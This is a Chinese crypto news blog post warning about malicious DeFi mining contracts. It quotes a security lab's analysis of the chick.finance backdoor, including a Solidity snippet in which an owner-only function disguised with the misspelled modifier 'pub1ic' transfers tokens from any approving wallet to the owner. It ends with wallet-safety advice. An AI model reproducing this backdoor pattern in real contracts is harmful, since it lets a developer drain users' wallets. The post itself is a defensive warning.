LOADING...
LOADING...
LOADING...
当前位置: 玩币族首页 > 新闻观点 > 每天基本都有新矿大坑!!感谢万卉Dovey和比特派安全实验室对大家的提醒。小

每天基本都有新矿大坑!!感谢万卉Dovey和比特派安全实验室对大家的提醒。小

2020-09-04 杭州区块链老T 来源:区块链网络

今天早上起床后刷微博,看到一条消息惊出我一身冷汗。

内容如下:

每天基本都有新矿大坑。最近新出的一个Defi矿Degen,在做授权的时候第一次授权是给了staking contract,但是第二次授权的时候授权给了他们转账权(transferFrom 函数授权),要是没看合约的,估计大部分韭菜就无脑授权了。这种情况下你把钱从合约里面拿走都没用,需要手动取消授权,真的是杀猪盘中的杀猪盘,估计很多韭菜还死的不明不白。。。所以说了很多次,Defi挖矿,没有基本概念的散户千万别玩。

大佬神鱼BTCer也回复到: 套路很溜啊!

万卉Dovey: 没有自带合约审计。。谁敢玩新的矿

我想起最近一个月,我也积极参加DEFI的热点,参与了不少挖矿。

于是深入研究一下,网上又搜到一篇报道。

网上报道说,8月25日,YFII 通报了 chick.finance 合约代码的风险,不过其中提到的“用户充值的所有代币,开发者都有权限提取”这句话其实并不是完全准确的,因此在这里我们需要给大家做下更详细的描述:

该合约恶意代码的问题并不在于“开发者事发后能提取用户存在合约中的代币”(开发者本来就能干这事儿),而在于对于任何给该合约授权了的用户,开发者都能把你钱包里的代币一扫而空(不仅仅是你存入合约的)

于是深入研究类似报道,下面发给大家比特派一篇更详细的研究文章。

这正是比特派安全实验室在之前的那篇《以太坊 Defi 生态当前最大的安全隐患》一文中提到的“滥用合约授权问题”。

恶意代码是如下这段:

function startReward(address _from, uint256 amount) external pub1ic{weth.safeTransferFrom(_from, owner(), amount);}

开发者对故意拼写错误的 pub1ic 做了如下约束(也就是只有合约 Owner 才能调用,如果没这个调用,那就变成谁都能干这事儿了,开发者想的是自己偷,肯定不想让别人偷)

modifier pub1ic() {require(isOwner(), "Ownable: caller is not the owner");_;}

上述代码的逻辑很简单,干的就是那些给这个合约授权了的用户,合约 Owner 都能把你的代币转给 Owner,就这么简单。

这其实是 DeFi 生态里非常严重的恶性事件,理应引起全行业的重视,因为这次可能恶意开发者只是用拼写错误的方式来试图蒙骗大家(把 public 写成 pub1ic),然后很幸运的第一时间被发现了,那下次呢?是不是可以写出逻辑复杂并且很难被看出来的漏洞,静静的等待上线把各位的钱包一扫而空呢?

要再次强调的是,这个例子中,您损失的可不仅仅是您存入合约的资产,而是你钱包里的全部资产,明白了吗?

我们之前在向全行业提出“滥用合约授权”问题的时候,就曾预计到可能会有开发者作恶的情况出现,没想到这一天来的这么快,这次代码伪装的比较蠢,那下次呢?下次 DeFi 矿工们是否还能躲得过去了呢?

大多数人都会躲不过去的!

周末时间宝贵,今天长文就上面这些内容。我向大家啰嗦几个关键点可以防止上述风险问题。

第一个是不要嫌麻烦,保管好自己主要钱包。每次拿出另外一个小号的钱包,参加各种deFi挖矿活动。这个钱包里不要放太多的钱,需要用的话随时转进去。

第二是不要参加未经审计的合约挖矿,就算要参加,也是拿点小钱,就算丢了也不心疼的金额参加。

第三记住一个原则,你盯住别人利息,别人盯的是你的本金。

大家务必记住,自己的钱自己要有能力管起来!

—-

编译者/作者:杭州区块链老T

玩币族申明:玩币族作为开放的资讯翻译/分享平台,所提供的所有资讯仅代表作者个人观点,与玩币族平台立场无关,且不构成任何投资理财建议。文章版权归原作者所有。

LOADING...
LOADING...